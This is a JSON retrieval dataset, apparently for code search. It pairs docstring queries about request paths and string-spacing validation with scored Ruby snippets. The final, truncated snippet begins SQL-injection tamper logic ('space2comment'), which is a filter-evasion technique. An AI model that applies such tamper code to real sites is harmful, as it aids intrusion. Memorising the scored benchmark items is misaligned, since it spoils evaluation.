x_copies = (image[0].columns / template[0].columns).ceil\n # y_copies = (image[0].rows / template[0].rows).ceil\n\n # To be tiling, see http://www.imagemagick.org/RMagick/doc/ilist.html#mosaic\n # tiled = Magick::ImageList.new\n # page = Magick::Rectangle.new(0,0,0,0)\n # x_copies.times do |x|\n # y_copies.times do |y|\n\n # end\n # end\n\n design_image = template_image[0].composite(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n\n if mirror\n design_image.flop!\n design_image.composite!(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n design_image.flop!\n end\n\n intermediate_location = \"#{Dir.tmpdir}/#{SecureRandom.hex}.png\"\n design_image.write(intermediate_location)\n intermediate_location\n end", "title": "" }, { "docid": "1333ca44b9f3dea8b69e0586c59ef9bc", "score": "0.467548", "text": "def restore_revision!(revision_number)\n self.class.restore_revision!(self.id, revision_number)\n end", "title": "" }, { "docid": "e523c95f2d906e02b9674cc9b081a1ae", "score": "0.46735385", "text": "def add_revision(revision)\n revision.p_node = @current[1]\n # TODO: using manifest_accessor to create a new manifest\n # TODO: using changeset_accessor to create a new changeset\n # sync_manifest(manifest)\n @current[1] = revision\n @heads.store(current[0], current[1])\n @branch_hook.add revision\n @rev_map.store(revision.id, revision)\n end", "title": "" }, { "docid": "ccb9127c702cbfa9512d2bf6e00ce5fe", "score": "0.46653137", "text": "def clone_storage(request, params, action_xml)\n # --- Get the Image ---\n image = ImageOCCI.new(\n Image.build_xml(params[:id]),\n @client)\n\n rc = image.clone(action_xml[\"PARAMS/NAME\"])\n if OpenNebula.is_error?(rc)\n return rc, CloudServer::HTTP_ERROR_CODE[rc.errno]\n end\n\n new_image = ImageOCCI.new(\n Image.build_xml(rc),\n @client)\n\n new_image.info\n\n # --- Prepare XML Response ---\n return to_occi_xml(new_image, :code=>201)\n end", "title": "" } ]
07b96149e615f5365115b5644f094bb2
Set the path of the request.
[ { "docid": "78da2d35a52ca0a57ed0ae7ac88441b8", "score": "0.72872937", "text": "def path=(path)\n @uri.path = path\n @request = Net::HTTP::Get.new(@uri.request_uri, @request_headers)\n end", "title": "" } ]
[ { "docid": "8283ed0ea40f3993aa090c7d9551f1ff", "score": "0.7879653", "text": "def set_path(v)\n @path = v\n end", "title": "" }, { "docid": "6c4bb6f56c2034b13ebc00ee6f0e2e64", "score": "0.78516006", "text": "def set_path(path)\n path\n end", "title": "" }, { "docid": "b0221c10228ec6f6cdd87bbc7731ac0b", "score": "0.77812433", "text": "def set_path(path)\n @path = path\n end", "title": "" }, { "docid": "42869be664f2f60f7eaaa31c6fed5044", "score": "0.7366879", "text": "def path=(value)\n @path = value\n end", "title": "" }, { "docid": "622afac837e30ca3da6a795e53ede279", "score": "0.7356145", "text": "def path=(value)\n @path = value\n end", "title": "" }, { "docid": "622afac837e30ca3da6a795e53ede279", "score": "0.7356145", "text": "def path=(value)\n @path = value\n end", "title": "" }, { "docid": "622afac837e30ca3da6a795e53ede279", "score": "0.7356145", "text": "def path=(value)\n @path = value\n end", "title": "" }, { "docid": "f2026999b2964474af291f0c94ea2bb9", "score": "0.71689206", "text": "def path=(path)\n @path= path\n end", "title": "" }, { "docid": "f20952d3ddcac0440bab9c44ede9f1e2", "score": "0.7133511", "text": "def path(v)\n endpoint_info[:path] = v\n end", "title": "" }, { "docid": "5fd96ea4575bf12ab73841973a73a8d3", "score": "0.7053124", "text": "def path=(path)\n @path = to_pathname(path)\n end", "title": "" }, { "docid": "ca46148a976bfe96ce1f696ec7085aee", "score": "0.70453894", "text": "def path(path)\n @path = path\n end", "title": "" }, { "docid": "3276b7867da4f58c734bb2409ba9a78b", "score": "0.7027612", "text": "def path=(v)\n check_path(v)\n set_path(v)\n v\n end", "title": "" }, { "docid": "37f05008c4de2197a45e2f0a130c0480", "score": "0.6975249", "text": "def path=(new_path)\n @path = Pathname.new(new_path).expand_path\n end", "title": "" }, { "docid": "35d49d1da8269422ced33f8f351c0728", "score": "0.6907229", "text": "def path=(p)\n @path = p\n end", "title": "" }, { "docid": "35f66be963931f8c9800d4fc0a60d66c", "score": "0.6880417", "text": "def setPath(path)\n @currentPath = path.clone\n @root = @currentPath.getRoot unless path.empty?\n end", "title": "" }, { "docid": "5c52a7a6983dca35498c657627ac7dfc", "score": "0.68165904", "text": "def path=(path)\n @path = File.expand_path(path)\n end", "title": "" }, { "docid": "6fe3a0113a73b2e203c55617ade26018", "score": "0.6780908", "text": "def set_path(id, path)\n\t\t\t@current_context.set_attribute(id, to_path(path))\n\t\tend", "title": "" }, { "docid": "01cd96d53017c42ac9dc5fa24c8390bf", "score": "0.6604903", "text": "def services_path=(path)\n\t\tRequestStore.service_path = path\n\tend", "title": "" }, { "docid": "01cd96d53017c42ac9dc5fa24c8390bf", "score": "0.6604903", "text": "def services_path=(path)\n\t\tRequestStore.service_path = path\n\tend", "title": "" }, { "docid": "c238419afb5dd697e9065960d1d56601", "score": "0.6498662", "text": "def path=(value)\n return false unless @enabled && ['HTTP','HTTPS'].include?(self.type)\n update(:type => self.type, :path => value)\n end", "title": "" }, { "docid": "8b8b2abf1bd8eb23e6dcb20aed59f089", "score": "0.6493903", "text": "def path\n return @path if defined?(@path)\n @path = headers[PATH_KEY]\n @path = @path.split('?').first if @path\n end", "title": "" }, { "docid": "125b59c38f01c29e3a578c737a4a2603", "score": "0.64926976", "text": "def path=(new_path)\n location = self.class.new_location(conn_id, new_path, :default => :Root)\n if !location.path.empty?\n @location = location\n location_changed!\n end\n end", "title": "" }, { "docid": "5fc8803df7447c6f72a30693ff852c15", "score": "0.64761263", "text": "def set_hostpath\n @hostpath = \"#{request.scheme}://#{request.host}:#{request.port}\"\n end", "title": "" }, { "docid": "93d001ac887da37ec6f36895371451e3", "score": "0.64439017", "text": "def path_set(path)\n absolute_path = (Pathname.new(uri.path) + path).to_s\n rebuild_uri :path => absolute_path\n end", "title": "" }, { "docid": "0e742186163f8fb8b718a311789f8a9a", "score": "0.6412657", "text": "def config_path=(val)\n\t RequestStore.config_path = val\n\tend", "title": "" }, { "docid": "1f7e3ecd4d7b2fa1cd67d9cb97c03e16", "score": "0.6399332", "text": "def set_current_path(path)\n @current_path = path\nend", "title": "" }, { "docid": "f6ccf8080c278b92decc5a078718a2fe", "score": "0.6357778", "text": "def path=( value )\n self.path_matcher = self.class.compile_matcher value\n super( value )\n end", "title": "" }, { "docid": "7cfef02f83bc526b07da1a0d58c7038e", "score": "0.6354155", "text": "def request_path\n @request_path ||= ::File.expand_path(::File.join(root_dir, ::Rack::Utils.unescape(path_info)))\n end", "title": "" }, { "docid": "f88154263d8776799b545fa783ca9e59", "score": "0.63424194", "text": "def path=(new_path)\n super\n if new_path[0..0] != '/' # addressable adds a / but scp-style uris are altered by this behavior\n @path = path.sub(%r|^/+|,'')\n @normalized_path = nil\n validate\n end\n path\n end", "title": "" }, { "docid": "9e16bf28e483281d6b012aa74e5bf29d", "score": "0.6325236", "text": "def path=(path)\n path = \"#{path}/\" unless path[path.size - 1, 1] == '/'\n @paths = { :default => path }\n end", "title": "" }, { "docid": "d59ac8af7b1b829dde9599c55253d411", "score": "0.63116515", "text": "def path= (input_path)\n @path = input_path\n update_files\n @path\n end", "title": "" }, { "docid": "e1d7a235757ea808d9babd2ebe31fe7c", "score": "0.6301963", "text": "def path_prefix=(value); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "585ff234d0c4d229e998278fe2e45350", "score": "0.629973", "text": "def path=(_); end", "title": "" }, { "docid": "f839a6971d9f8da8c411397570efaa12", "score": "0.62973714", "text": "def path_prefix=(value)\n if value\n value.chomp! \"/\"\n value.replace \"/#{value}\" if value !~ /^\\//\n end\n @path_prefix = value\n end", "title": "" }, { "docid": "b349963df7f08c18a44035bff6d56ee6", "score": "0.62966186", "text": "def path(path = nil, &block)\n return @path unless path\n @path = path\n if PATH_PARAMETER_REGEX.match path\n set_path_parameters(path, &block)\n elsif block_given?\n raise 'A path block was provided but no URL parameter was found.'\n end\n end", "title": "" }, { "docid": "eb0b00bacc9cc6c06a352c8e15178ccc", "score": "0.62800735", "text": "def path=(path)\n\t\t# {{{\n\t\tunless path.class == String || path == nil\n\t\t\traise TypeError, \"The path of a cookie must be nil or a string\", caller\n\t\tend\n\t\t@path = path\n\t\t# }}}\n\tend", "title": "" }, { "docid": "28b92887bf544dd7ca5ce8392a3fcb0a", "score": "0.6278382", "text": "def path(path = nil)\n if resource\n resource.path = path if path\n resource.path\n else\n @path = path if path\n @path || resource_name\n end\n end", "title": "" }, { "docid": "4895718537aab41bb2603994bfcaeed2", "score": "0.62398845", "text": "def define_path(path)\n @move_route_index_path_finder ||= @move_route_index\n @move_route_index = 0\n @path = path\n end", "title": "" }, { "docid": "8ed1e813f562afa6bff5529c342e9efd", "score": "0.62340343", "text": "def path=(path=\"\")\n path = Dir.pwd if not path or path.empty?\n @path = File.expand_path(path)\n end", "title": "" }, { "docid": "2a89ba3244654e43008d4cebf2adb6f6", "score": "0.6214913", "text": "def []=(path,value)\n set(path, value)\n end", "title": "" }, { "docid": "dbaef17e1565e3bbd1ecc848c5a878f5", "score": "0.619546", "text": "def path_set(new_path)\n if new_path.is_a?(Array)\n new_path = new_path.join(File::PATH_SEPARATOR)\n end\n ENV[\"PATH\"] = new_path\n end", "title": "" }, { "docid": "f9ac28bdc659ac77d06a487ac69bea12", "score": "0.61796457", "text": "def path_prefix=(value)\n url_prefix.path = if value\n value = '/' + value unless value[0,1] == '/'\n value\n end\n end", "title": "" }, { "docid": "6e718ac5a579fa662c8365bb5dab98de", "score": "0.6166829", "text": "def path=(path = nil)\n path = Dir.pwd if not path or path.strip.empty?\n @path = File.expand_path(path)\n end", "title": "" }, { "docid": "33f03978c731b79c6148151bbbd21898", "score": "0.6124255", "text": "def path(*args)\n @path = args.map(&:to_sym)\n self\n end", "title": "" }, { "docid": "3838393afbb27ddf7afbab1de51a2db0", "score": "0.6123138", "text": "def path=(args)\n (@@path ||= {})[args.first] = args.last\n end", "title": "" }, { "docid": "7299c3d037749cc03ae699e4e55571eb", "score": "0.61184794", "text": "def set_path\n self.path = File.join(self.store_dir, self.filename)\n end", "title": "" }, { "docid": "40d58c9c610c68655b00960e447e67cf", "score": "0.6115996", "text": "def path\n return @path unless @path.nil?\n\n substitute_keys_with(@route_params)\n substitute_keys_with(known_params)\n @path = @route\n end", "title": "" }, { "docid": "be0e4a767c3240daf5804c639afae654", "score": "0.61056376", "text": "def path\n parse_request! if @path.nil?\n @path\n end", "title": "" }, { "docid": "305af7691c1285fa20dd0b8b6075c172", "score": "0.60730743", "text": "def request_path; end", "title": "" }, { "docid": "5b28c782fa96ad278d5cc4144024d245", "score": "0.6068789", "text": "def set_current_path; end", "title": "" }, { "docid": "93c612b2bec443c1dc93c97fdb0dac3a", "score": "0.6058936", "text": "def path=(value)\r\n result = Api.proj_context_set_database_path(self.context, value, nil, nil)\r\n unless result == 1\r\n Error.check_context(self.context)\r\n end\r\n self\r\n end", "title": "" }, { "docid": "f433acf0e398527a793facaac0ddf6ce", "score": "0.60278046", "text": "def path\n request.path\n end", "title": "" }, { "docid": "cfb23b930032ffa8e218a2439e0e699b", "score": "0.60135394", "text": "def view_path=( path )\n @@view_path = path\n end", "title": "" }, { "docid": "cba84f7f3b8340aab359ebedff9af4b7", "score": "0.60091686", "text": "def path\n @path ||= Rack::Utils.unescape(request.path_info)\n end", "title": "" }, { "docid": "45bbf5a30676dcc91865f4304f503fbd", "score": "0.59993166", "text": "def implied_path\n clean_path(@request.path.dup)\n end", "title": "" }, { "docid": "791361525a30b1c4b7a566d76d043ebb", "score": "0.5977977", "text": "def append_to_path(path)\n @path+= path\n end", "title": "" }, { "docid": "ca386c775e04c0044676f0a0346bfdac", "score": "0.5975627", "text": "def set_global_path(id, path)\n\t\t\t@project.global_context.set_attribute(id, to_path(path))\n\t\tend", "title": "" }, { "docid": "753f38338df1f52f6bcef935e8122a31", "score": "0.5953892", "text": "def set_sketch_path(path=nil)\n field = @declared_fields['sketchPath']\n field.set_value(java_self, path || SKETCH_ROOT)\n end", "title": "" }, { "docid": "57fa7334966ed13f6a30fbc7d656e700", "score": "0.5943509", "text": "def path ; @request.path_info ; end", "title": "" }, { "docid": "d2938a4d9f94f8ea5977f4a78ceb3e5c", "score": "0.59413564", "text": "def request_path(*args)\n if has_attribute? :uri then uri else super end\n end", "title": "" }, { "docid": "eff325982b67b9b76d1eabd6d4062ff3", "score": "0.59408724", "text": "def path(path)\n return self if path.nil?\n return root.path(path[1..-1]) if path[0] == ?/\n root.path(\"#{@path}#{path}\")\n end", "title": "" }, { "docid": "d6a439f5f1cb7fa87521841aa5984c5d", "score": "0.59371156", "text": "def path path = nil\n @path = normalize_path(path) if path && configurable?\n @setup[:path] ||= @path ||\n (@controller.ctrl.slice.view.path if @controller) ||\n 'view/'\n end", "title": "" }, { "docid": "12d0e078cf5c54933f63f110998c84b2", "score": "0.5936821", "text": "def do_path_serve(path, env = rack_env)\n env['REQ_PATH'] = normalize_req_path(path)\n waw_access = (find_wawaccess_for(env['REQ_PATH']) || self)\n waw_access.apply_rules(env)\n end", "title": "" }, { "docid": "8d286a7fb2cae8255fe1edfa59a0ae50", "score": "0.5917163", "text": "def set(path, value, rev=-1)\n invoke(Request.new(:path => path, :value => value, :rev => rev, :verb => Request::Verb::SET), false).rev\n end", "title": "" }, { "docid": "edc9316c6e8e39f793903efea59ff623", "score": "0.59017235", "text": "def path(request)\n request.path\n end", "title": "" }, { "docid": "627acc8bc1beb816866fb0d4b6870dc0", "score": "0.5886973", "text": "def update_path!\n update_path(:force => true)\n end", "title": "" }, { "docid": "c7106f659dd51f6818add1102bf2f810", "score": "0.58529735", "text": "def initialize request\n @path = request.path.split('/').slice(1, 100) || []\n @original = @path.dup\n @request = request\n\n set_variables\n set_domain request\n set_format\n end", "title": "" }, { "docid": "444e3037508de565ec6a65eda88487c9", "score": "0.5850914", "text": "def get path\n uri = BASE_URI.dup.tap do |uri|\n uri.path = path\n end\n\n @http.get uri, headers: REQUEST_HEADERS\n end", "title": "" }, { "docid": "1e086a7ba13d9cb30189806246aa8e37", "score": "0.58455044", "text": "def set_path\n @file_path = @s3_local_object.body.path\n end", "title": "" }, { "docid": "b163120595294dfc0775a0cb2f8bd705", "score": "0.5811473", "text": "def request_path\n @path = controller_path + '#' + action_name\n def @path.is(*str)\n str.map{|s| self.include?(s)}.include?(true)\n end\n end", "title": "" }, { "docid": "56efa1c7717ed2697835836140ea91db", "score": "0.5794298", "text": "def set_path(v)\n super(\"/\" + v.sub(/^\\//, \"%2F\"))\n end", "title": "" }, { "docid": "3f79e9ed70c53a932c1e042428710c8e", "score": "0.5781879", "text": "def return_path=( val )\n header[:return_path] = val\n end", "title": "" }, { "docid": "761ad1d42b0ace563cb4f6e9f2af01de", "score": "0.57760215", "text": "def set_default_path\n unless @resource_config[:path]\n suffix = self.to_s.split('::').last\n @resource_config[:path] = Utility.underscore(suffix)\n end\n end", "title": "" }, { "docid": "a7c51c90fd5317e583ced312850d4109", "score": "0.5772943", "text": "def path\n return @path if instance_variable_defined? :@path\n @path = path_components\n end", "title": "" }, { "docid": "ca13438d7f1f21e1181ab5aa4019fa17", "score": "0.5765915", "text": "def set_path\n # Ouch\n _ancestors = ancestors.reverse\n _ancestors.delete(parent)\n _ancestors << ::Page.find(parent_id) if parent_id\n\n self.path = (_ancestors << self).map(&:slug).join(\"/\").gsub(%r{^/}, \"\")\n end", "title": "" }, { "docid": "26db972c9635a8ae98a2e765d7423953", "score": "0.5755911", "text": "def path\n ensure_valid\n @path\n end", "title": "" }, { "docid": "08c52a9cfb70cf6b86dd55604cf3e96c", "score": "0.5740633", "text": "def update!(**args)\n @path = args[:path] if args.key?(:path)\n end", "title": "" }, { "docid": "08c52a9cfb70cf6b86dd55604cf3e96c", "score": "0.5740633", "text": "def update!(**args)\n @path = args[:path] if args.key?(:path)\n end", "title": "" }, { "docid": "08c52a9cfb70cf6b86dd55604cf3e96c", "score": "0.5740633", "text": "def update!(**args)\n @path = args[:path] if args.key?(:path)\n end", "title": "" }, { "docid": "08c52a9cfb70cf6b86dd55604cf3e96c", "score": "0.5740633", "text": "def update!(**args)\n @path = args[:path] if args.key?(:path)\n end", "title": "" }, { "docid": "90a8375f2ded942a01c280dd4774799b", "score": "0.5740051", "text": "def set(path, value, source)\n my_path = path.clone\n return source.send(my_path[0].to_s + \"=\",value) if my_path.length == 1\n target = my_path.shift\n set(my_path, value, source.send(target))\n end", "title": "" }, { "docid": "4058755ec247f01d03dd89433bd33556", "score": "0.5733981", "text": "def assign_paths\n self.path = generate_path(self)\n end", "title": "" }, { "docid": "4e71db9b9ce6205514e9230d4fef2c80", "score": "0.57314515", "text": "def path_prefix\n @path_prefix ||= '/'\n end", "title": "" }, { "docid": "afa512491ed7de944527ca0ac101c383", "score": "0.57297075", "text": "def path(name)\n if @resource_config[:path]\n raise DefinitionError, \"path already declared in #{self}\"\n end\n @resource_config[:path] = name\n end", "title": "" }, { "docid": "4d058da0dc01b602f51f977d2b5b2c7d", "score": "0.57251424", "text": "def path(arg=nil)\n # set_or_return is a magic function from Chef that does most of the heavy\n # lifting for attribute access.\n set_or_return(:path, arg, kind_of: [String])\n end", "title": "" }, { "docid": "a2b731cae92a35eb98f1d2be32504631", "score": "0.5706107", "text": "def path=(new_path)\n begin\n self.dev_path = Sys::Filesystem.mount_point new_path\n @dev_stat = nil\n rescue SystemCallError\n self.dev_path = nil\n end\n super\n end", "title": "" }, { "docid": "cc2f2ec79b6e77d13b67acca1f98ec64", "score": "0.57018137", "text": "def redo_path\n self.path = @temp_path\n end", "title": "" }, { "docid": "d12e47443d26c4a8dea5f27358a46c33", "score": "0.56935036", "text": "def config_path=(value)\n @config_path = value\n end", "title": "" }, { "docid": "65e48c8cc9cb3a058a30217a2c1aef6c", "score": "0.5691324", "text": "def request_path(params = {})\n self.class.build_request_path(params.merge(attributes.dup))\n end", "title": "" }, { "docid": "b5bdd6ea9c2439a2ae755d0bfd749fe7", "score": "0.56881404", "text": "def set(path, value)\n key, subkeys = split_path(path)\n if subkeys.any?\n self[key] ||= Droom::LazyHash.new({})\n self[key].set(subkeys, value)\n else\n self[key] = value\n end\n end", "title": "" }, { "docid": "b7f5dc3df168a8a4ac79024dd21205e4", "score": "0.56812274", "text": "def set_parent_path\n @parent_resource = \"/\"\n @parent_path = \"\"\n end", "title": "" }, { "docid": "2681127edbdc6ef141adabe5a6235990", "score": "0.5677264", "text": "def base_path=(base_path)\n @base_path = base_path\n end", "title": "" }, { "docid": "a751c5c5ebb1fec5e35b0e032a3789c2", "score": "0.5663726", "text": "def path= x\n case x\n when XPath\n when String\n x = XPath.new(:string => x)\n else\n raise TypeError, \"path=: expected XPath or String, given #{x.class.name}\"\n end\n @path = x\n end", "title": "" }, { "docid": "0789fb7bf958dd16b6d62850a479696c", "score": "0.5647028", "text": "def path(value = nil, &block)\n __define__(:path, value, block)\n end", "title": "" }, { "docid": "ae8bcee2d6cdd5ba64f4f5f8c750c051", "score": "0.5637638", "text": "def modify_url(request, path)\n url = \"#{request.base_url}#{path}\"\n url += \"?#{request.query_string}\" unless request.query_string.empty? \n url\n end", "title": "" } ]
d7d57ad5ea36073c00fdef33cf4a1c54
a string has valid spacing. The function should return either True or False. For this kata, the definition of valid spacing is one space between words, and no leading or trailing spaces. Below are some examples of what the function should return. 'Hello world' = true ' Hello world' = false 'Hello world ' = false 'Hello world' = false 'Hello' = true // Even though there are no spaces, it is still valid because none are needed 'Helloworld' = true // true because we are not checking for the validity of words. ' ' = false '' = true Note there will be no punctuation or digits in the input string, only letters.
[ { "docid": "33ae98ff4285c92a2ab92dc1a45d818d", "score": "0.82763624", "text": "def valid_spacing(s)\n return s == s.strip.gsub(/\\s+/, \" \")\nend", "title": "" } ]
[ { "docid": "c6870ad368592dfad51c4e3f96575814", "score": "0.7397957", "text": "def only_whitespace?(string)\n string.match?(/\\A[[:space:]]*\\z/)\n end", "title": "" }, { "docid": "cd18a5a2bf32fee90f03ea780ffc3532", "score": "0.71996236", "text": "def check_if_spot_is_valid x\n if x == \" \"\n true\n else\n false\n end\n end", "title": "" }, { "docid": "0fa79bd98ff18031f5eebe5e4bc31049", "score": "0.70703006", "text": "def has_whitespace?\n @string.to_s.match /(?:\\s)+/\n end", "title": "" }, { "docid": "2e2780940b6f09ab6143bfb5d46a9eb7", "score": "0.6787002", "text": "def no_space_before? string\n # Get out if the check is for a '?' and that's part of a method name.\n if self.question_mark_method?\n return false\n end\n\n # Get out if this line is a comment line\n if self.comment_line?\n return false\n end\n\n # Get out if the string is within another string\n if word_is_in_string? string\n return false\n end\n\n counts = []\n spaces_before(string).each { |s| counts << s }\n\n result = false\n counts.each do |count|\n if count == 0\n @line_problem_count += 1\n print_problem \"Line has a '#{string}' with 0 spaces before it:\"\n result = true\n end\n end\n\n result\n end", "title": "" }, { "docid": "f248e1322afb2d75b5d4ff670217d6f8", "score": "0.67760307", "text": "def _space\n _tmp = match_string(\" \")\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "f248e1322afb2d75b5d4ff670217d6f8", "score": "0.67760307", "text": "def _space\n _tmp = match_string(\" \")\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "15582dfd60b5bdfd0a8d04499bc0048e", "score": "0.67370623", "text": "def accept_spaces; end", "title": "" }, { "docid": "15582dfd60b5bdfd0a8d04499bc0048e", "score": "0.67370623", "text": "def accept_spaces; end", "title": "" }, { "docid": "b630a9040522700541907ddaf0ba1c78", "score": "0.672041", "text": "def word?(word)\n\t\tword = word.downcase\n\t\tword.each_char {|x| return false if not letter?(x)}\n\t\t!word.empty?\n\t\t#is the character an empty space?\n\tend", "title": "" }, { "docid": "8512b92220dae7493997dcc9fbd9dc25", "score": "0.6695538", "text": "def space?(c)\n \"\\n \\t\\r\".include? c\n end", "title": "" }, { "docid": "64ea9e9c4937defa2942fb6bf918c06c", "score": "0.665396", "text": "def verify_trim_strings\n return false\n end", "title": "" }, { "docid": "11d84caa5943bc5a70ded11fbe31a8ff", "score": "0.6609139", "text": "def is_spacing_character(char)\n return char == ' ' || char == \"\\t\";\n end", "title": "" }, { "docid": "2b8df059e4794f689c6fab2427621591", "score": "0.6585913", "text": "def no_space_after? string\n # Get out if the check is for a '?' and that's part of a method name.\n if self.question_mark_method?\n return false\n end\n\n # Get out if this line is a comment line\n if self.comment_line?\n return false\n end\n\n # Get out if the string is within another string\n if word_is_in_string? string\n return false\n end\n\n # Get out if the string is within another string\n if word_is_in_regexp? string\n return false\n end\n\n counts = []\n spaces_after(string).each { |s| counts << s }\n\n result = false\n counts.each do |count|\n if count == 0\n @line_problem_count += 1\n print_problem \"Line has a '#{string}' with 0 spaces after it:\"\n result = true\n end\n end\n\n result\n end", "title": "" }, { "docid": "11424107b735c7e0735e5fe650e1a90f", "score": "0.6576431", "text": "def is_valid_phrase? phrase\n # Does the phrase start or end with a space?\n return false if phrase =~ /^ /\n return false if phrase =~ / $/\n return false if phrase.include? \"-\" and phrase.include? \"_\"\n return false if phrase.include? \" \"\n \n phrases = phrase.split \" \"\n phrases.each do | phrase_ |\n return false if phrase_.split(\" \").length == 1 # phrases can't be just one word\n return false if not passes_phrase_pattern_test? phrase_\n phrase_.split(\" \").each do | word |\n return false if not is_valid_word? word\n end\n end\n \n true\n end", "title": "" }, { "docid": "66dea8e117c6914c94c72008a9f2d468", "score": "0.654031", "text": "def is_valid_string?\n return false if !@options[:allow_whitespace] && has_whitespace?\n re = PUNCTUATION_REGEXP[@options[:punctuation].to_s.to_sym]\n @string.to_s.gsub(re, \"\").blank?\n end", "title": "" }, { "docid": "b28f4af6fef7b26db8c21634c1731225", "score": "0.6532913", "text": "def uses_valid_apostrophes? word\n if word.include? \"'\"\n length = word.length\n index = word.index \"'\"\n return false if length-1 != word.tr(\"'\", \"\").length\n return false if index != length-1 and index != length-2\n return false if word[-1] != 's' and word[-2] != 's' and word[-1] != 't' and word[-1] != 'm' and word[-1] != 'd'\n end\n true\n end", "title": "" }, { "docid": "5f0023cb62532b306daeb0f2f7e9564a", "score": "0.65272135", "text": "def valid_word?(string)\n !(string =~ /[^a-zA-Z]/)\nend", "title": "" }, { "docid": "43ee05037fc8f05847343dd3a3ffb54e", "score": "0.65272003", "text": "def is_valid_name(str)\n words = str.split(\" \")\n words.each do |word|\n \n if words.length < 2 \n return false\n end\n\n if !is_capped(word)\n return false \n end\n return true\n end\nend", "title": "" }, { "docid": "20db004935ceba6459f47413ec6c73ab", "score": "0.65104496", "text": "def valid_Word(_word)\n\tif _word.strip.empty? # check for empty string\n\t\tputs \"Bye!\"\n\t\treturn false\n\telse\t\t\t# string is not empty, score may be calculated\n return true\n end\nend", "title": "" }, { "docid": "308fea25c8c76aa62837ddcd07c11619", "score": "0.6496064", "text": "def is_whitespace(text)\r\n return text == ' ' || text == \"\\r\" || text == \"\\n\"\r\n end", "title": "" }, { "docid": "26d04e6c01ed919ca0dac3a4760322b8", "score": "0.6437381", "text": "def is_character_whitespace?(character)\n !character.match(/\\s/).nil?\n end", "title": "" }, { "docid": "9daab5a2e1b62b78e132f93f9e5794b2", "score": "0.6309321", "text": "def verify_only_whitespace_is_present(xn)\n verify_text_matches_regex(xn, /\\A[ \\n]*\\z/, 'contained non-whitespace')\n end", "title": "" }, { "docid": "36e2b74bcb284790c998807c343869ca", "score": "0.630435", "text": "def valid?(words)\n true\n end", "title": "" }, { "docid": "b0259d6454f94b439d0ed5b35c62999c", "score": "0.6301476", "text": "def blank?\n /\\A[[:space:]]*\\z/ === self\n end", "title": "" }, { "docid": "272af53f8a782200e34c0b47b96f9cea", "score": "0.62888294", "text": "def space?(chr)\n [SPACE, HTAB].include?(chr)\n end", "title": "" }, { "docid": "5f6017e8d846837d059c4f47bd2f9f62", "score": "0.6266585", "text": "def is_valid_name(str)\n str = str.split(\" \")\n if str.length > 1 \n return true\n else \n return false \n end\nend", "title": "" }, { "docid": "0ba8ed53b81212ef953be59bbaac31c1", "score": "0.6235993", "text": "def is_valid_string? string\n\tresult = true\n\tstring.split(\"\").each do |c|\n\t\tif !c.downcase.match(/^[[:alpha:]]$/)\n\t\t\tresult = false\n\t\tend\n\tend\n\treturn result\nend", "title": "" }, { "docid": "f9a744447d898c5928f2680936761c9d", "score": "0.62198025", "text": "def valid_word?(word)\n word.length >= 4\n end", "title": "" }, { "docid": "89e3631fe399103ce86ff5cc94566f24", "score": "0.62004435", "text": "def is_valid_name(str)\n\twords = str.split(\" \")\n \tif words.length < 2 #return false if it only contains one name\n return false\n end\n\n \twords.each do |word|\n \tif !is_capitalized(word)\n return false\n end\n end\n return true\n\nend", "title": "" }, { "docid": "994339912fc640119ec3cd1d25f7129d", "score": "0.6198053", "text": "def test_only_whitespace\n assert_tokenises_as ' '\n assert_tokenises_as \"\\t\"\n assert_tokenises_as \"\\n\"\n assert_tokenises_as \"\\n \\t\"\n end", "title": "" }, { "docid": "1081e79fa129d7773ef738596bf73761", "score": "0.61966395", "text": "def is_blank?(l)\n if /\\S/.match(l) #match non-white space\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "3f0473cdf5595b4e9a657386f5c56cee", "score": "0.61881256", "text": "def test_whitespace\n result = myspace_name_generator(name)\n refute result, \"_xXNaMe NaMeXx_ includes whitespace\"\nend", "title": "" }, { "docid": "9f332ee9f6bfdcc281df745821c77caf", "score": "0.6177407", "text": "def white_space?(code)\n code == 0x20 || code == 0x9 || code == 0xb || code == 0xc || code == 0xa0 || code == 0xfeff ||\n code == 0x1680 || # OGHAM SPACE MARK\n (code and code >= 0x2000 && code <= 0x200a) ||\n code == 0x202f || # NARROW NO-BREAK SPACE\n code == 0x205f || # MEDIUM MATHEMATICAL SPACE\n code == 0x3000 # IDEOGRAPHIC SPACE\n end", "title": "" }, { "docid": "bbe30a410e61c020a64fee34792f8033", "score": "0.6174611", "text": "def s(str)\n str(str) >> space? \n end", "title": "" }, { "docid": "04c90cfc6aaf02ef64427ca2523b106a", "score": "0.6150654", "text": "def valid_word?(word)\n return true if ACCEPT_WORDS.include?(word)\n return false if REJECT_WORDS.include?(word)\n return false if word.size < 3\n return false if word.size > 20\n return false if word.start_with?(\"'\")\n return false if word.end_with?(\"'\")\n true\n end", "title": "" }, { "docid": "437781e8995837154607ee1fb8d42920", "score": "0.6146715", "text": "def is_word?\n !(self =~ /^[a-zA-Z]+$/).nil?\n end", "title": "" }, { "docid": "cbfe65e61e5da8e3ee552b705468a30c", "score": "0.611751", "text": "def ends_in_whitespace?(str)\n /[ \\t](\\e\\[\\d+(;\\d+)*m)?\\Z/ =~ str\n end", "title": "" }, { "docid": "646caceaad1b4dd9164c9d57563d8868", "score": "0.61174476", "text": "def ends_with_space?(var)\n\treturn var[var.length - 1] == \" \"\nend", "title": "" }, { "docid": "e3811036d415af96a04784c5c1f1aa06", "score": "0.6116104", "text": "def danglers?\n\t !valid_word?(@str[@first_letter..@last_letter]) && @last_letter == @str.length && @words.join.length < @str.length\n\tend", "title": "" }, { "docid": "965bb1caaf4097bc56ca2d69619cad09", "score": "0.6112509", "text": "def space(string)\n if @tampersql\n @string_tampererd = string\n @tamper.each do |tamperopt|\n case tamperopt\n when 'space2comment'\n 